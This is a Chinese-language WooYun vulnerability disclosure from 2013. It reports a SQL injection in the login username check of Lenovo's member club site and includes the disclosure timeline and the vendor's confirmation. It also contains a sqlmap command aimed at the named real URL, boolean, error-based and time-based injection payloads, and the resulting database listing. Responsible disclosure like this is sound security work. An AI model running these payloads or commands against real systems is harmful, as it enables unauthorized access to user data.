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缺陷编号:wooyun-2013-042052

漏洞标题:联想会员俱乐部SQL注入可导致20W+用户数据泄露

相关厂商:联想

漏洞作者: 秋风

提交时间:2013-11-05 18:00

修复时间:2013-12-20 18:01

公开时间:2013-12-20 18:01

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2013-11-05: 细节已通知厂商并且等待厂商处理中
2013-11-07: 厂商已经确认,细节仅向厂商公开
2013-11-17: 细节向核心白帽子及相关领域专家公开
2013-11-27: 细节向普通白帽子公开
2013-12-07: 细节向实习白帽子公开
2013-12-20: 细节向公众公开

简要描述:

见详细说明

详细说明:

问题出在登陆处的Ajax校验
注入点:http://ideaclub.lenovo.com.cn/club/index.php?c=login&f=verifyUsername&m=member&t=Tue
post参数username存在注入
通知存在注入点,未做进一步测试!

python sqlmap.py -u "http://ideaclub.lenovo.com.cn/club/index.php?c=login&f=verifyUsername&m=member&t=Tue" --data "username=1" --batch --dbs
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=1' AND 4881=4881 AND 'oZXI'='oZXI
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: username=1' AND (SELECT 5917 FROM(SELECT COUNT(*),CONCAT(0x71626a6d71,(SELECT (CASE WHEN (5917=5917) THEN 1 ELSE 0 END)),0x71796c7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'kziN'='kziN
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: username=1' AND SLEEP(5) AND 'xLdK'='xLdK
---
web application technology: Nginx
back-end DBMS: MySQL 5.0
available databases [4]:
[*] erazer
[*] ideaclub
[*] ideaclub2
[*] information_schema

漏洞证明:

_700.png

修复方案:

过滤

版权声明:转载请注明来源 秋风@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-11-07 10:20

厂商回复:

感谢您对联想安全做出的贡献!我们将立即评估与修复相关漏洞

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